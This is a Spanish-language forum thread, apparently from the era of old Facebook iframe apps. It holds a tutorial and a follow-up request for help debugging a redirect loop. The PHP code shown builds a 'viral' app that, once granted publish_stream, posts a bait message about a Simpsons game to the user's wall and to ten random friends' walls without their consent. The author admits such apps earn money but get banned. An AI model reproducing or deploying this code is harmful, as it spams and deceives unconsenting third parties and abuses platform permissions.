Me redirige indefinidamente
En este nuevo ejemplo programaremos una aplicación viral (esto es pan para hoy hambre para mañana XD)
Usaremos el mismo código de [APPS]
Crear aplicaciones en un iframe, pero editaremos el index.php para que funcione como queremos.
Usaremos permisos especiales:
publish_stream, para publicar en el muro
Lo que hace la aplicacion es, cuando el usuario accede se publica en el muro del usuario y tambien se le publica a 10 amigos al azar en sus muros. Para que no le publique constantemente en el muro usaremos cookies, que duran 1 dia (24 horas).
PHP:
<?php
//Verificamos las cookies
$_E = false;
if($_COOKIE['YaTA']=="cicklow") $_E = true; else setcookie("YaTA", "cicklow", (time()+3600*24));
//Header especiales para Cookies en IFRAMES
header('P3P:CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"');
//Nuestra config
include('config.php');
?>
Lo que publicaremos
PHP:
$_P['message'] = '';
$_P['caption'] = '.';
$_P['description'] = '';
$_P['picture'] = 'http://www.seriesadictos.com/wp-content/uploads/2008/06/los-simpson.jpg'; //Imagen
$_P['link'] = 'http://apps.facebook.com/aplicacion/'; //URL Apps
$_P['name'] = 'Juega al nuevo juego de los simpsons.'; //Texto
Ahora la parte Viral
PHP:
//Parte Viral de nuestra apps
if($_E){
//Publicamos en el muro del user
$me = $facebook->api('/'.$facebook->getUser().'/feed','post',$_P);
//Publicamos en el muro de los amigos!
$fi = $facebook->api('/me/friends/');
$fi = $fi['data'];
shuffle($fi);
for($i=0;$i<10;$i++){
try{
if($fi[$i]['id']!="") $postear = $facebook->api('/'.$fi[$i]['id'].'/feed', 'post',$_P);
echo "<!-- ID ".$fi[$i]['id']." //-->";
} catch (Exception $e) { }
}
}
Usando el 1 tutorial mas este agregado tendremos una linda apps viral (lo de pan para hoy y hambre para mañana es porque estas apps generan ingresos y usuarios pero son facilmente baneadas)
Saludos
PD: La api de facebook cambio. En index.php editan:
PHP:
if (!is_array($session)) {
por
y en config.php cambia:
PHP:
function redirect($PERMS="") { //function for use later on
global $facebook;
$loginUrl=$facebook->getLoginUrl(array(
'canvas'=>1,
'fbconnect'=>0,
'display'=>'page',
'next'=>FAC,
'cancel_url'=>FAC,
'req_perms'=>$PERMS,
));
return $loginUrl;
exit();
} // end redirect function
por
PHP:
function redirect($PERMS="") { //function for use later on
global $facebook;
$loginUrl=$facebook->getLoginUrl(array(
'canvas'=>1,
'fbconnect'=>0,
'display'=>'page',
'next'=>FAC,
'cancel_url'=>FAC,
'scope'=>$PERMS,
));
return $loginUrl;
exit();
} // end redirect function
y
PHP:
$session = $facebook->getSession();
por
PHP:
$session = $facebook->getUser();
🙂 🙂
Segui tus pasos y la aplicacion me redirige indefinidamente. Por que? aca te dejo el codigo del
config.php
<?php
header('Content-Type:text/html; charset=UTF-8');
define('FAC','http://apps.facebook.com/principess/');
define('WEB','http://www.topfashionlike.com/h/');
@set_time_limit(0);
$__ID = 'xx';
$__KEY = 'x';
require 'facebook.php';
// Create our Application instance.
$facebook = new Facebook(array(
'appId' => $__ID,
'secret' => $__KEY,
'cookie' => true,
));
function redirect($PERMS="") { //function for use later on
global $facebook;
$loginUrl=$facebook->getLoginUrl(array(
'canvas'=>1,
'fbconnect'=>0,
'display'=>'page',
'next'=>FAC,
'cancel_url'=>FAC,
'req_perms'=>$PERMS,
));
return $loginUrl;
exit();
} // end redirect function
$session = $facebook->getUser();
?>
ESTE ES EL CODIGO DEL INDEX.PHP
<?php
//Verificamos las cookies
$_E = false;
if($_COOKIE['YaTA']=="cicklow") $_E = true; else setcookie("YaTA", "cicklow", (time()+3600*24));
//Header especiales para Cookies en IFRAMES
header('P3P:CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"');
//Nuestra config
include('config.php');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US" xml:lang="en-US">
<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Titulo Apps</title>
<meta name="Description" content="Descripci�n" />
<meta name="Keywords" content="" />
<meta name="CLASSIFICATION" content="" />
<meta property="og:title" content="Descripci�n"/>
<meta property="og:url" content="<?=FAC;?>"/>
<meta property="og:site_name" content="Titulo Apps"/>
<meta property="fb:app_id" content="<?=$__ID;?>"/>
<meta property="og:image" content="imagen"/>
<base href="<?=FAC;?>" />
<base target="_top" />
</head>
<body LeftMargin=0 topMargin=0 marginwidth="0" title="" marginheight="0" bgcolor="#ffffff" oncontextmenu="return false" ondragstart="return false" onselectstart="return false" onmouseover="self.status=''; return true">
<div id="fb-root"></div>
<script>
window.fbAsyncInit = function() {
FB.init({appId: '<?=$__ID;?>', status: true, cookie: true, xfbml: true});
FB.Canvas.setAutoResize();
};
function Rec(){
FB.ui({method: 'apprequests', message: ''Te recomiendo mi aplicacion', data: 'track<?=time();?>'});
}
(function() {
var e = document.createElement('script'); e.async = true;
e.src = document.location.protocol +
'//connect.facebook.net/es_LA/all.js';
document.getElementById('fb-root').appendChild(e);
}());
</script>
<?php
if (!is_array($session)) {
echo '<script>window.top.location="'.redirect("publish_stream").'";</script>';
die();
} else {
try {
$me = $facebook->api('/me/?fields=name');
} catch (FacebookApiException $e) {
echo $e;
die();
}
}
$_P['message'] = '';
$_P['caption'] = '.';
$_P['description'] = '';
$_P['picture'] = 'http://www.seriesadictos.com/wp-content/uploads/2008/06/los-simpson.jpg'; //Imagen
$_P['link'] = 'http://apps.facebook.com/principess/'; //URL Apps
$_P['name'] = 'Juega al nuevo juego de los simpsons.'; //Texto
//Parte Viral de nuestra apps
if($_E){
//Publicamos en el muro del user
$me = $facebook->api('/'.$facebook->getUser().'/feed','post',$_P);
//Publicamos en el muro de los amigos!
$fi = $facebook->api('/me/friends/');
$fi = $fi['data'];
shuffle($fi);
for($i=0;$i<10;$i++){
try{
if($fi[$i]['id']!="") $postear = $facebook->api('/'.$fi[$i]['id'].'/feed','post',$_P);
echo "<!-- ID ".$fi[$i]['id']." //-->";
} catch (Exception $e) { }
}
}
echo '<h1>Hola '.$me['name'].'</h1>';
echo '<center><table border="0" width="750px">';
echo '<tr><td>PUBLICIDAD</td></tr>';
echo '<tr><td><center>
<iframe src="http://www.simpsonsmovie.com/content/games/wb/index.php?land=es&userid=null" scrolling="no" frameborder="0" height="480" width="640"></iframe>
</center></td></tr>';
echo '<tr><td>PUBLICIDAD</td></tr>';
echo '</table></center>';
function _save($_F,$_FECHA){
@file_put_contents($_F,$_FECHA);
}
?>
</body></html>
Ayudame no se que pasa